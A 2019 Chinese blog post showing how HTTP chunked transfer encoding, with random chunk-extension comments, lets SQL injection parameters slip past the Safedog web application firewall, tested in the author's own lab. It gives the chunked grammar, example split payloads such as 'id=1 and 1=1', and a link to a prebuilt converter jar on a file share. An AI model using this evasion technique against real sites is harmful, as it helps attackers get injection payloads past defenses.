分块传输sql语句过waf
最近有小伙伴给我发了篇文章,和分块传输(Chunked Transfer Coding),然后就去FREEBUF上面看了下相关的文章,又是另外一种bypass的方式啦
利用分块传输吊打所有WAF
工具
Chunked coding converter
https://github.com/c0ny1/chunked-coding-converter
不过github上的需要编译一下,嫌麻烦的小伙伴可以下载别人已经编译好的jar包
下载链接: https://pan.baidu.com/s/1N-N7h4kL5Kick43bKEhytQ 提取码: hn8p
使用方法
添加好之后,我们要部署好注入环境,这里搭建好了safedog + phpstudy,我们这里采用的提交参数的方式为POST,然后安全狗的漏洞防护那里要设置为检测POST内容,默认是不检测的
我们搭建好之后抓包,放到repeater里面,利用方式如下:
这样我们就能绕过waf了
原理
freebuf上面的那篇文章把分块传输的定义规范,不过我看了半天的英文觉得有点绕,这里就贴一下分块传输的格式:1
2
3
4
5
6
7
8
9
10
11chunked-body = *chunk
last-chunk
trailer-part
CRLF
chunk = chunk-size [ chunk-ext ] CRLF
chunk-data CRLF
chunk-size = 1*HEXDIG
last-chunk = 1*("0") [ chunk-ext ] CRLF
chunk-data = 1*OCTET ; a sequence of chunk-size octets
大概解释一下,chunked-body由chunk、last-chunk、trailer-part、CRLF四个部分组成
chunk由chunk-size和chunk-data两部分组成
tailer-part不知道是什么
CRLF可以理解成换行符
然后chunk还有一个扩展,就是能用 ; 作为注释符:1
2
3
4chunk-ext = *( ";" chunk-ext-name [ "=" chunk-ext-val ] )
chunk-ext-name = token
chunk-ext-val = token / quoted-string
有可能你觉得我上面的话是废话,我们接下来实际操作一遍。
首先我提交的post参数为:1
id=1
我们用上面的工具加密之后:1
2
3
4
5
6
7
8
9
10
11
12
132;fIT1nmMBJZYWNS5LjMvip
id
2;zJA4ef2iJgoNIrqsIS1swHm
=1
2;UJP7LknwUaNVbr
a
3;estmrm0DAX9FV15nKxu
nd
1;XHodZjjSKDY
1
2;97eXEkVqACpxzn0sYnb8rPeuS
=1
0
我们把这一部分分成几块来看:1
2
3
4#长度;注释的内容(这块是啥都行)
2;fIT1nmMBJZYWNS5LjMvip
#我们原先提交的参数,取了长度为2的内容出来
id
接下来都是的:1
2
3
4
5
6
7
8
9
102;zJA4ef2iJgoNIrqsIS1swHm
=1
2;UJP7LknwUaNVbr
a
3;estmrm0DAX9FV15nKxu
nd
1;XHodZjjSKDY
1
2;97eXEkVqACpxzn0sYnb8rPeuS
=1
然后就是:1
0
注意这个0之后还有两个回车。这里好像显示不出来
这样就能bypass了。
要是还是不能理解,你就把分块传输当做一个规定,我们提交的参数可以按照这个规定写就好了。
然后我们就可以自己构造payload:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Transfer-Encoding: chunked
1
i
2
d=
1
1
3
an
1
d
3
1=
1
1
0
\r\n
\r\n
注意一下后面有两个回车,这里我用\r\n来表示
还要注意添加了一个头信息:1
Transfer-Encoding: chunked
bypass成功
当然,也可以添加注释来绕过,我这里没写,你要是看懂了的话就知道我再说什么了。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com
文章标题:分块传输sql语句过waf
本文作者:sher10ck
发布时间:2019-07-04, 09:55:48
最后更新:2020-01-13, 13:06:11
原始链接:http://sherlocz.github.io/2019/07/04/分块传输sql语句过waf/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。